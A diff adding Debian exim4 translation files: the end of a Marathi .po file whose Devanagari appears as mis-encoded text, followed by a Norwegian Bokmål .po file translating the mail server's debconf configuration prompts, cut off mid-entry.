खातà¥à¤¯à¤¾à¤®à¤§à¥‡ " +#~ "पà¥à¤¨à¤°à¥à¤¨à¤¿à¤°à¥à¤¦à¥‡à¤¶à¤¿à¤¤ करत नाही, जे फार आवशà¥à¤¯à¤• आहे. तिचà¥à¤¯à¤¾à¤µà¤° पà¥à¤¨à¤°à¥à¤²à¥‡à¤–न करणे आपलà¥à¤¯à¤¾à¤²à¤¾ मानà¥à¤¯ असेल, " +#~ "तर जà¥à¤¨à¥à¤¯à¤¾ फाइलचे उरà¥à¤«à¤¨à¤¾à¤µà¥‡.ओ असे पà¥à¤¨à¤°à¥à¤¨à¤¾à¤®à¤¾à¤‚कन करून ती ठेवणà¥à¤¯à¤¾à¤¤ येइल." + +#~ msgid "" +#~ "Accepting this option will cause /etc/aliases to be overwritten, and the " +#~ "old file will be renamed to aliases.O." +#~ msgstr "" +#~ "हा परà¥à¤¯à¤¾à¤¯ सà¥à¤µà¤¿à¤•à¤¾à¤°à¤²à¥à¤¯à¤¾à¤¸ /इटीसी/उरà¥à¤«à¤¨à¤¾à¤µà¥‡ पà¥à¤¨à¤°à¥à¤²à¥‡à¤–ित होईल, व जà¥à¤¨à¥à¤¯à¤¾ फाइलचे उरà¥à¤«à¤¨à¤¾à¤µà¥‡.ओ असे " +#~ "पà¥à¤¨à¤°à¥à¤¨à¤¾à¤®à¤¾à¤‚कन केले जाईल." + +#~ msgid "Move undelivered mails from exim 3 to exim4 spool?" +#~ msgstr "अजून पोचती न à¤à¤¾à¤²à¥‡à¤²à¥€ पतà¥à¤°à¥‡ à¤à¤•à¥à¤à¤¿à¤®(वà¥à¤¹à¥€à¥©) मधून à¤à¤•à¥à¤à¤¿à¤®à¥ª सà¥à¤ªà¥‚लमधे हलवायची?" + +#~ msgid "" +#~ "Choosing this option will move these messages to exim4's spool (/var/" +#~ "spool/exim4/input/) where they will be handled by exim4." +#~ msgstr "" +#~ "/वà¥à¤¹à¤¾à¤°/सà¥à¤ªà¥‚ल/à¤à¤•à¥à¤à¤¿à¤®/निवेश/ या à¤à¤•à¥à¤à¤¿à¤® वा à¤à¤•à¥à¤à¤¿à¤®-टीà¤à¤²à¤à¤¸ चà¥à¤¯à¤¾ सà¥à¤ªà¥‚ल निरà¥à¤¦à¥‡à¤¶à¤¿à¤•à¥‡à¤®à¤§à¥‡ काही अजून " +#~ "पोचती न à¤à¤¾à¤²à¥‡à¤²à¥€ पतà¥à¤°à¥‡ आहेत. ती आता à¤à¤•à¥à¤à¤¿à¤®à¥ªà¤šà¥à¤¯à¤¾ सà¥à¤ªà¥‚लमधे (/वà¥à¤¹à¤¾à¤°/सà¥à¤ªà¥‚ल/à¤à¤•à¥à¤à¤¿à¤®à¥ª/निवेश/) " +#~ "हलवता येतील, जेथे ती à¤à¤•à¥à¤à¤¿à¤®à¥ª दà¥à¤µà¤¾à¤°à¤¾ हाताळली जातील" + +#~ msgid "" +#~ "Be aware that this works only one-way, exim4 can handle exim(v3)'s spool " +#~ "but not the other way round." +#~ msgstr "" +#~ "हे à¤à¤•à¤¾à¤š दिशेने करता येते हे लकà¥à¤·à¤¾à¤¤ घà¥à¤¯à¤¾, à¤à¤•à¥à¤à¤¿à¤®à¥ª à¤à¤•à¥à¤à¤¿à¤®(वà¥à¤¹à¥€à¥©)चा सà¥à¤ªà¥‚ल हाताळू शकतो, पण " +#~ "उलट होऊ शकत नाही" + +#~ msgid "" +#~ "Move the mails only if you don't plan to go back to exim(v3), otherwise " +#~ "the mail shouldn't be moved now but manually once you've converted your " +#~ "setup." +#~ msgstr "" +#~ "à¤à¤•à¥à¤à¤¿à¤®(वà¥à¤¹à¥€à¥©) परत वापरणार नसाल तरच पतà¥à¤°à¥‡ हलवा, अनà¥à¤¯à¤¥à¤¾ पतà¥à¤°à¥‡ आताच न हलवता संरचना " +#~ "परिवरà¥à¤¤à¤¨ à¤à¤¾à¤²à¥à¤¯à¤¾à¤¨à¤‚तर सà¥à¤µà¤¹à¤¸à¥à¤¤à¥‡ हलवावीत" + +#~ msgid "manually convert from handcrafted Exim v3 configuration" +#~ msgstr "सà¥à¤µà¤¹à¤¸à¥à¤¤à¥‡ संरचना केलेलà¥à¤¯à¤¾ à¤à¤•à¥à¤à¤¿à¤® वà¥à¤¹à¥€à¥© मधून सà¥à¤µà¤¤à¤ƒà¤š परिवरà¥à¤¤à¤¿à¤¤ करा" + +#~ msgid "Configure Exim4 manually?" +#~ msgstr "à¤à¤•à¥à¤à¤¿à¤®à¥ª सà¥à¤µà¤¹à¤¸à¥à¤¤à¥‡ संरचित करायची?" + +#~ msgid "" +#~ "You indicated that you have a handcrafted Exim 3 configuration. To " +#~ "convert this to Exim 4, you can use the exim_convert4r4(8) tool after the " +#~ "installation. Consult /usr/share/doc/exim4-base/examples/example.conf.gz " +#~ "and /usr/share/doc/exim4-base/README.Debian.gz!" +#~ msgstr "" +#~ "आपणांकà¤¡à¥‡ à¤à¤•à¥à¤à¤¿à¤® ३ ची सà¥à¤µà¤¹à¤¸à¥à¤¤à¥‡ केलेली संरचना असलà¥à¤¯à¤¾à¤šà¥‡ आपण दरà¥à¤¶à¤µà¤²à¥‡ आहे. ही à¤à¤•à¥à¤à¤¿à¤® ४ मधे " +#~ "परिवरà¥à¤¤à¤¿à¤¤ करणà¥à¤¯à¤¾à¤¸à¤¾à¤ ी अधिषà¥à¤Ÿà¤¾à¤ªà¤¨à¥‡à¤¨à¤‚तर आपण à¤à¤•à¥à¤à¤¿à¤®_परिवरà¥à¤¤à¤¨à¥ªà¤°à¥ª(८) टूल वापरू शकता. अधिक " +#~ "माहितीसाठी /वापरकरà¥à¤¤à¤¾/सामायिक/दसà¥à¤¤à¤¾à¤µà¥‡à¤œ/à¤à¤•à¥à¤à¤¿à¤®à¥ª-पाया/उदाहरणे/उदाहरण.रचना.जीà¤à¥‡à¤¡ " +#~ "आणी /वापरकरà¥à¤¤à¤¾/सामायिक/दसà¥à¤¤à¤¾à¤µà¥‡à¤œ/à¤à¤•à¥à¤à¤¿à¤®à¥ª-पाया/माहितीवाचा.डेबियन.जीà¤à¥‡à¤¡ पहा!" + +#~ msgid "" +#~ "Until your mail system is configured, it will be broken and cannot be " +#~ "used." +#~ msgstr "आपली टपाल पà¥à¤°à¤£à¤¾à¤²à¥€ संरचित होईपरà¥à¤¯à¤‚त ते मोडलेले राहील, व वापरता येणार नाही." + +#~ msgid "" +#~ "Your \"mail name\" is the hostname portion of the address to be shown on " +#~ "outgoing news and mail messages (following the username and @ sign) " +#~ "unless hidden with rewriting." +#~ msgstr "" +#~ "पà¥à¤¨à¤°à¥à¤²à¥‡à¤–नामà¥à¤³à¥‡ लपवला गेला नसलà¥à¤¯à¤¾à¤¸, आपले \"टपाल नाव\" हा बाहेर पाठवणà¥à¤¯à¤¾à¤šà¥à¤¯à¤¾ वारà¥à¤¤à¤¾ व " +#~ "पतà¥à¤° संदेशांचà¥à¤¯à¤¾ पतà¥à¤¤à¥à¤¯à¤¾à¤®à¤§à¥€à¤² यजमान-नाव (वापरकरà¥à¤¤à¤¾-नाव व @ चिनà¥à¤¹à¤¾à¤¨à¤‚तर येणारा) à¤à¤¾à¤— आहे." + +#~ msgid "" +#~ "If there are any more, enter them here, separated by colons. You may " +#~ "leave this blank if there are none." +#~ msgstr "" +#~ "अजून काही असलà¥à¤¯à¤¾à¤¸ विसरà¥à¤—ांनी वेगळे करून तà¥à¤¯à¤¾à¤‚ची इथे नोंद करा. नसलà¥à¤¯à¤¾à¤¸, आपण हे कà¥à¤·à¥‡à¤¤à¥à¤° " +#~ "रिकामे ठेऊ शकता." + +#~ msgid "" +#~ "Please enter here the domains for which you accept to relay the mail." +#~ msgstr "आपण टपाल रीले करणà¥à¤¯à¤¾à¤¸à¤¾à¤ ी सà¥à¤µà¥€à¤•à¤¾à¤°à¤²à¥‡à¤²à¥à¤¯à¤¾ डोमेनसà¥à¤šà¥€ इथे नोंद करा." + +#~ msgid "" +#~ "Such domains are domains for which you are prepared to accept mail from " +#~ "anywhere on the Internet. Do not mention local domains here." +#~ msgstr "" +#~ "ही अशी डोमेनसॠआहेत, जà¥à¤¯à¤¾à¤‚साठी आपण महाजालावर कोठूनही टपाल सà¥à¤µà¥€à¤•à¤¾à¤°à¤£à¥à¤¯à¤¾à¤¸ तयार आहात. " +#~ "इथे सà¥à¤¥à¤¾à¤¨à¤¿à¤• डोमेनसà¥à¤šà¥€ नोंद करू नका." + +#~ msgid "" +#~ "The domains you enter here should be separated by colons. Wildcards may " +#~ "be used." +#~ msgstr "" +#~ "आपण इथे नोंदणारी डोमेनसॠविसरà¥à¤—ांनी वेगळी केली पाहिजेत. वाइलà¥à¤¡à¤•à¤¾à¤°à¥à¤¡à¤¾à¤‚चा वापर करता येइल." + +#~ msgid "" +#~ "Please enter here the networks of local machines for which you accept to " +#~ "relay the mail." +#~ msgstr "आपण टपाल रीले करणà¥à¤¯à¤¾à¤¸à¤¾à¤ ी सà¥à¤µà¥€à¤•à¤¾à¤°à¤²à¥‡à¤²à¥à¤¯à¤¾ सà¥à¤¥à¤¾à¤¨à¤¿à¤• संगणक जाळà¥à¤¯à¤¾à¤‚ची इथे नोंद करा." + +#~ msgid "" +#~ "This should include a list of all machines that will use us as a " +#~ "smarthost." +#~ msgstr "" +#~ "आपलà¥à¤¯à¤¾à¤²à¤¾ सà¥à¤®à¤¾à¤°à¥à¤Ÿà¤¹à¥‹à¤¸à¥à¤Ÿ मà¥à¤¹à¤£à¥‚न वापरतील अशा मशीनसà¥à¤šà¥€ यादी येथे समाविषà¥à¤Ÿ केली पाहिजे." + +#~ msgid "" +#~ "You need to double the colons in IPv6 addresses (e.g. " +#~ "5f03::1200::836f::::/48)" +#~ msgstr "आयपीवà¥à¤¹à¥€à¥¬ पतà¥à¤¤à¥à¤¯à¤¾à¤‚मधील विसरà¥à¤— दà¥à¤ªà¥à¤ªà¤Ÿ करा. (उदा. ५à¤à¤«à¥¦à¥©::१२००::८३६à¤à¤«::::/४८)" + +#~ msgid "" +#~ "Since you enabled hiding the local mailname in outgoing mail, you must " +#~ "specify the domain name to use for mail from local users; typically this " +#~ "is the machine on which you normally receive your mail." +#~ msgstr "" +#~ "आपण बाहेर जाणाऱà¥à¤¯à¤¾ टपालात सà¥à¤¥à¤¾à¤¨à¤¿à¤• टपालनाव लपवणà¥à¤¯à¤¾à¤šà¤¾ परà¥à¤¯à¤¾à¤¯ कारà¥à¤¯à¤¸à¤•à¥à¤·à¤® केला " +#~ "असलà¥à¤¯à¤¾à¤¨à¥‡, तà¥à¤®à¥à¤¹à¤¾à¤²à¤¾ सà¥à¤¥à¤¾à¤¨à¤¿à¤• वापरकरà¥à¤¤à¥à¤¯à¤¾à¤•à¤¡à¥‚न येणाऱà¥à¤¯à¤¾ टपालासाठी वापरायचे डोमेन नाव " +#~ "निरà¥à¤§à¤¾à¤°à¤¿à¤¤ करणे आवशà¥à¤¯à¤• आहे; साधारणपणे आपण सामानà¥à¤¯à¤¤à¤ƒ टपाल सà¥à¤µà¥€à¤•à¤¾à¤°à¤£à¥à¤¯à¤¾à¤•à¤°à¤¿à¤¤à¤¾ जे मशीन " +#~ "वापरता, ते हे आहे." + +#~ msgid "Where will your users read their mail?" +#~ msgstr "आपले वापरकरà¥à¤¤à¥‡ हे टपाल कोठे वाचतील?" + +#~ msgid "Machine handling outgoing mail for this host (smarthost):" +#~ msgstr "या यजमानाकरिता बाहेर जाणारे टपाल हाताळणारे मशीन (सà¥à¤®à¤¾à¤°à¥à¤Ÿà¤¹à¥‹à¤¸à¥à¤Ÿ):" + +#~ msgid "Enter the hostname of the machine to which outgoing mail is sent." +#~ msgstr "जà¥à¤¯à¤¾ मशीनकडे बाहेर जाणारे टपाल पाठवायचे, तà¥à¤¯à¤¾à¤šà¥‡ यजमाननाव दà¥à¤¯à¤¾." + +#~ msgid "" +#~ "Enter a colon-separated list of IP-addresses to listen on. You need to " +#~ "double the colons in IPv6 addresses (e.g. 5f03::1200::836f::::)." +#~ msgstr "" +#~ "ऎकणà¥à¤¯à¤¾à¤•à¤°à¤¿à¤¤à¤¾ विसरà¥à¤—ांनी वेगळे केलेलà¥à¤¯à¤¾ आयपीवà¥à¤¹à¥€à¥¬ पतà¥à¤¤à¥à¤¯à¤¾à¤‚ची यादी येथे दà¥à¤¯à¤¾. तà¥à¤®à¥à¤¹à¤¾à¤²à¤¾ " +#~ "आयपीवà¥à¤¹à¥€à¥¬ पतà¥à¤¤à¥à¤¯à¤¾à¤‚मधील विसरà¥à¤— दà¥à¤ªà¥à¤ªà¤Ÿ करणे गरजेचे आहे. (उदा. ५à¤à¤«à¥¦à¥©::१२००::८३६à¤à¤«::::)." + +#~ msgid "" +#~ "Enable this feature if you are using Dial-on-Demand; otherwise, disable " +#~ "it." +#~ msgstr "" +#~ "आपण डायल-आॅन-डिमांड वापरत असलà¥à¤¯à¤¾à¤¸ हे वैशिषà¥à¤Ÿà¥à¤¯ कारà¥à¤¯à¤¸à¤•à¥à¤·à¤® करा; अनà¥à¤¯à¤¥à¤¾, अकà¥à¤·à¤® करा" + +#~ msgid "Configuring Exim v4 (exim4-config)" +#~ msgstr "à¤à¤•à¥à¤à¤¿à¤® वà¥à¤¹à¥€à¥ª संरचित होत आहे (à¤à¤•à¥à¤à¤¿à¤®à¥ª-रचना)" + +#~ msgid "If you are unsure then you should not use split configuration." +#~ msgstr "खातà¥à¤°à¥€ नसलà¥à¤¯à¤¾à¤¸ आपण संरचनेचे विà¤à¤¾à¤œà¤¨ करू नका." diff --git a/debian/po/nb.po b/debian/po/nb.po new file mode 100644 index 0000000..5d37f93 --- /dev/null +++ b/debian/po/nb.po @@ -0,0 +1,663 @@ +# translation of exim4-base_nb.po to Norwegian BokmÃ¥l < +# translation of exim4-base_nb.po to Norwegian BokmÃ¥l +# +# Translators, if you are not familiar with the PO format, gettext +# documentation is worth reading, especially sections dedicated to +# this format, e.g. by running: +# info -n '(gettext)PO Files' +# info -n '(gettext)Header Entry' +# Some information specific to po-debconf are available at +# /usr/share/doc/po-debconf/README-trans +# or http://www.debian.org/intl/l10n/po-debconf/README-trans# +# Developers do not need to manually edit POT or PO files. +# Steinar H. Gunderson <sgunderson@bigfoot.com>, 2004. +# Klaus Ade Johnstad <klaus.johnstad@holmlia.gs.oslo.no>, 2004. +# Klaus Ade Johnstad <klaus@skolelinux.no>, 2004, 2006. +# Bjørn Steensrud <bjornst@powertech.no>, 2006. +# Hans Fredrik Nordhaug <hans@nordhaug.priv.no>, 2007. +# +msgid "" +msgstr "" +"Project-Id-Version: exim4-base_nb\n" +"Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n" +"POT-Creation-Date: 2007-07-18 08:29+0200\n" +"PO-Revision-Date: 2007-11-22 14:00+0100\n" +"Last-Translator: Hans Fredrik Nordhaug <hans@nordhaug.priv.no>\n" +"Language-Team: Norwegian BokmÃ¥l < <i18n-nb@lister.ping.uio.no>\n" +"Language: \n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" +"X-Generator: KBabel 1.9.1\n" + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "Remove undelivered messages in spool directory?" +msgstr "Fjern ikke-levert e-post i køkatalogen?" + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "" +"There are e-mail messages in the Exim spool directory /var/spool/exim4/" +"input/ which have not yet been delivered. Removing Exim will cause them to " +"remain undelivered until Exim is re-installed." +msgstr "" +"Det finnes e-post i Exims køkatalog /var/spool/exim4/input/ som ennÃ¥ ikke er " +"blitt levert. Sletter du Exim, blir de liggende i køen til Exim er " +"installert pÃ¥ nytt." + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "" +"If this option is not chosen, the spool directory is kept, allowing the " +"messages in the queue to be delivered at a later date after Exim is re-" +"installed." +msgstr "" +"Hvis dette valget ikke er krysset av, blir køkatalogen beholdt, slik at " +"meldingene i køen kan sendes senere etter at Exim er installert pÃ¥ nytt." + +#. Type: error +#. Description +#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 +#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 +msgid "Reconfigure exim4-config instead of this package" +msgstr "Sett opp exim4-config i stedet for denne pakka" + +#. Type: error +#. Description +#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 +#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 +msgid "" +"Exim4 has its configuration factored out into a dedicated package, exim4-" +"config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'." +msgstr "" +"Oppsett for Exim4 er skilt ut i en egen pakke, exim4-config. Hvis Exim4 skal " +"settes opp pÃ¥ nytt, bruk «dpkg-reconfigure exim4-config»." + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "internet site; mail is sent and received directly using SMTP" +msgstr "internett-sted; e-post sendes og mottas direkte med SMTP" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "mail sent by smarthost; received via SMTP or fetchmail" +msgstr "e-post sendt av smartvert; hentes via SMTP eller fetchmail" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "mail sent by smarthost; no local mail" +msgstr "e-post sendt av smartvert; ingen lokal e-post" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "local delivery only; not on a network" +msgstr "kun lokal levering; ikke pÃ¥ noe nettverk" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "no configuration at this time" +msgstr "ingen konfigurering nÃ¥" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "General type of mail configuration:" +msgstr "Overordnet e-post-konfigurasjonstype:" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"Please select the mail server configuration type that best meets your needs." +msgstr "Velg oppsettstypen som best passer dine mailserver behov." + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"Systems with dynamic IP addresses, including dialup systems, should " +"generally be configured to send outgoing mail to another machine, called a " +"'smarthost' for delivery because many receiving systems on the Internet " +"block incoming mail from dynamic IP addresses as spam protection." +msgstr "" +"Systemer med dynamiske IP-adresser, inkludert oppringt-systemer, bør som " +"regel settes opp til Ã¥ sende utgÃ¥ende e-post til en annen maskin, en sÃ¥kalt " +"«smartvert», for levering, fordi mange mottakende e-postsystemer blokkerer " +"ankommende post fra dynamiske IP-adresser som beskyttelse mot søppelpost." + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"A system with a dynamic IP address can receive its own mail, or local " +"delivery can be disabled entirely (except mail for root and postmaster)." +msgstr "" +"Et system med dynamisk IP-adresse kan motta sin egen e-post, ellerha ingen " +"lokal e-postlevering overhodet, bortsett fra e-post til root og postmaster." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:2001 +msgid "Really leave the mail system unconfigured?" +msgstr "Er du sikker pÃ¥ at du vil la epost-systemet være uten oppsett?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:2001 +msgid "" +"Until the mail system is configured, it will be broken and cannot be used. " +"Configuration at a later time can be done either by hand or by running 'dpkg-" +"reconfigure exim4-config' as root." +msgstr "" +"Inntil epost-systemet er satt opp, vil det være ødelagt og kan ikke brukes. " +"Du kan selvsagt sette det opp seinere, enten for hÃ¥nd eller ved Ã¥ kjøre " +"«dpkg-reconfigure exim4-config» som root." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "System mail name:" +msgstr "Systemets epost-navn:" + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"The 'mail name' is the domain name used to 'qualify' mail addresses without " +"a domain name." +msgstr "" +"«E-postnavnet» er domenenavnet som brukes til Ã¥ fylle ut e-postadresser uten " +"domenenavn." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"This name will also be used by other programs. It should be the single, " +"fully qualified domain name (FQDN)." +msgstr "" +"Dette navnet blir ogsÃ¥ brukt av andre programmer. Det bør være det eneste, " +"fulle domenenavnet (FQDN)." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"Thus, if a mail address on the local host is foo@example.org, the correct " +"value for this option would be example.org." +msgstr "" +"Hvis en e-postadresse pÃ¥ den lokale verten for eksempel er «foo@example." +"org», sÃ¥ er den riktige verdien som skal brukes her «example.org»." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"This name won't appear on From: lines of outgoing messages if rewriting is " +"enabled." +msgstr "" +"Dette navnet blir ikke vist pÃ¥ Fra:-linjene pÃ¥ utgÃ¥ende e-post hvis du slÃ¥r " +"pÃ¥ omskriving." + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "Other destinations for which mail is accepted:" +msgstr "Andre mottakere e-post mottas for:" + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "" +"Please enter a semicolon-separated list of recipient domains for which this " +"machine should consider itself the final destination. These domains are " +"commonly called 'local domains'. The local hostname (${fqdn}) and " +"'localhost' are always added to the list given here." +msgstr "" +"Skriv inn en liste med domener, skilt med semikolon, som denne maskinen skal " +"betrakte seg som siste mÃ¥l for. Disse domenene kalles vanligvis «lokale " +"domener». Det lokale vertsnavnet (${fqdn}) og «localhost» blir alltid lagt " +"til listen." + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "" +"By default all local domains will be treated identically. If both a.example " +"and b.example are local domains, acc@a.example and acc@b.example will be " +"delivered to the same final destination. If different domain names should be " +"treated differently, it is necessary to edit the config files afterwards." +msgstr "" +"Standardvalget er at alle domener blir behandlet likt. Hvis bÃ¥de a.eksempel " +"og b.eksempel er lokale domener, sÃ¥ blir acc@a.eksempel.com og acc@b." +"eksempel.com levert til samme endelige mottaker. Hvis du vil at forskjellige " +"domener skal behandles forskjellig, mÃ¥ du redigere oppsettsfilene etterpÃ¥." + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "Domains to relay mail for:" +msgstr "Domener det skal videresendes e-post for:" + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "" +"Please enter a semicolon-separated list of recipient domains for which this " +"system will relay mail, for example as a fallback MX or mail gateway. This " +"means that this system will accept mail for these domains from anywhere on " +"the Internet and deliver them according to local delivery rules." +msgstr "" +"Oppgi en liste over mottakerdomener - med semikolon mellom - som dette " +"systemet vil videresende e-post til, for eksempel som reserve-MX eller e-" +"post-portner. Dette betyr at dette systemet vil ta imot e-post til disse " +"domenene fra hvor som helst pÃ¥ Internett og levere dem ifølge lokale " +"leveringsregler." + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "Do not mention local domains here. Wildcards may be used." +msgstr "Ikke oppgi lokale domener her. Jokertegn kan brukes." + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "Machines to relay mail for:" +msgstr "Maskiner det skal videresendes e-post for:" + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"Please enter a semicolon-separated list of IP address ranges for which this " +"system will unconditionally relay mail, functioning as a smarthost." +msgstr "" +"Oppgi en liste over IP-adresseomrÃ¥der, skilt med semikolon, som dette " +"systemet betingelsesløst vil videresende e-post for, fungerende som " +"smartvert." + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"You should use the standard address/prefix format (e.g. 194.222.242.0/24 or " +"5f03:1200:836f::/48)." +msgstr "" +"Du bør bruke det vanlige adresse/lengde-formatet (f.eks. 194.222.242.0/24 " +"eller 5f03:1200:836f::/48)." + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"If this system should not be a smarthost for any other host, leave this list " +"blank." +msgstr "" +"Hvis dette systemet ikke skal være smartvert for noen andre systemer, sÃ¥ la " +"lista være tom." + +#. Type: string +#. Description +#: ../exim4-config.templates:7001 +msgid "Visible domain name for local users:" +msgstr "Synlig domenenavn for lokale brukere:" + +#. Type: string +#. Description +#: ../exim4-config.templates:7001 +msgid "" +"The option to hide the local mail name in outgoing mail was enabled. It is " +"therefore necessary to specify the domain name this system should use for " +"the domain part of local users' sender addresses." +msgstr "" +"Valget om Ã¥ skjule det lokale e-postnavnet i utÃ¥ende e-post er slÃ¥tt pÃ¥. Det " +"er derfor nødvendig Ã¥ oppgi det domenenavnet dette systemet skal bruke i " +"domenedelen av lokale brukeres avsenderadresse." + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "IP address or host name of the outgoing smarthost:" +msgstr "IP-adresse eller vertsnavn for utgÃ¥ende smartvert:" + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "" +"Please enter the IP address or the host name of a mail server that this " +"system should use as outgoing smarthost. If the smarthost only accepts your " +"mail on a port different from TCP/25, append two colons and the port number " +"(for example smarthost.example::587 or 192.168.254.254::2525). Colons in " +"IPv6 addresses need to be doubled." +msgstr "" +"Oppgi IP-adresse eller vertsnavn for en e-posttjener som dette systemet skal " +"bruke som utgÃ¥ende smartvert. Hvis smartverten bare tar i mot e-post pÃ¥ en " +"annen port enn TCP/24, sÃ¥ legg til to koloner og portnummeret (f.eks. " +"smartvert.eksempel::587 eller 192.168.254.254::2525). Kolon i IPv6-adresser " +"mÃ¥ dobles." + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "" +"If the smarthost requires authentication, please refer to the Debian-" +"specific README files in /usr/share/doc/exim4-base for notes about setting " +"up SMTP authentication." +msgstr "" +"Hvis smartverten krever autentisering, les den Debian spesifikke README-" +"filen i /usr/share/doc/exim4-base for informasjon om hvordan man setter opp " +"SMTP-autentisering." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "Root and postmaster mail recipient:" +msgstr "Mottaker for root- og postmaster-epost:" + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"Mail for the 'postmaster', 'root', and other system accounts needs to be " +"redirected to the user account of the actual system administrator." +msgstr "" +"Post til «postmaster», «root» og andre systemkontoer mÃ¥ videresendes til " +"brukerkontoen til den som er systemadministrator." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"If this value is left empty, such mail will be saved in /var/mail/mail, " +"which is not recommended." +msgstr "" +"Hvis dette stÃ¥r tomt, blir slik e-post lagret i /var/mail/mail, dette " +"anbefales ikke." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"Note that postmaster's mail should be read on the system to which it is " +"directed, rather than being forwarded elsewhere, so (at least one of) the " +"users listed here should not redirect their mail off this machine. A 'real-' " +"prefix can be used to force local delivery." +msgstr "" +"Merk at e-post til «postmaster» bør leses pÃ¥ det systemet den er adressert " +"til og ikke videresendes til andre systemer, sÃ¥ (minst en av) brukerne du " +"velger bør ikke ha e-posten sin videresendt fra denne maskinen. Bruk et " +"«real»- prefiks for Ã¥ tvinge fram lokal levering." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "Multiple user names need to be separated by spaces." +msgstr "Om du oppgir flere brukernavn, sÃ¥ mÃ¥ de være skilt med mellomrom." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "IP-addresses to listen on for incoming SMTP connections:" +msgstr "IP-adresser det skal lyttes pÃ¥ etter innkommende SMTP-tilkoblinger:" + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"Please enter a semicolon-separated list of IP addresses. The Exim SMTP " +"listener daemon will listen on all IP addresses listed here." +msgstr "" +"Oppgi en liste over IP-adresser, atskilt med semikolon. Exims SMTP-nisse vil " +"lytte pÃ¥ alle IP-adresser oppgitt her." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"An empty value will cause Exim to listen for connections on all available " +"network interfaces." +msgstr "" +"Hvis du lar denne verdien stÃ¥ tom, vil Exim lytte etter tilkoblinger pÃ¥ alle " +"tilgjengelige nettverksgrensesnitt." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"If this system only receives mail directly from local services (and not from " +"other hosts), it is suggested to prohibit external connections to the local " +"Exim daemon. Such services include e-mail programs (MUAs) which talk to " +"localhost only as well as fetchmail. External connections are impossible " +"when 127.0.0.1 is entered here, as this will disable listening on public " +"network interfaces." +msgstr "" +"Hvis denne maskinen mottar e-post bare fra lokale tjenester (og ikke fra " +"andre tjenere), bør du forby eksterne tilkoblinger til den lokale Exim " +"nissen. Slike tjenester inkluderer e-post-programmet ditt (MUA-en din) som " +"kun snakker mot localhost og for eksempel fetchmail. Eksterne tilkoblinger " +"er umulig hvis 127.0.0.1 oppgies her, siden dette skrur av lytting pÃ¥ " 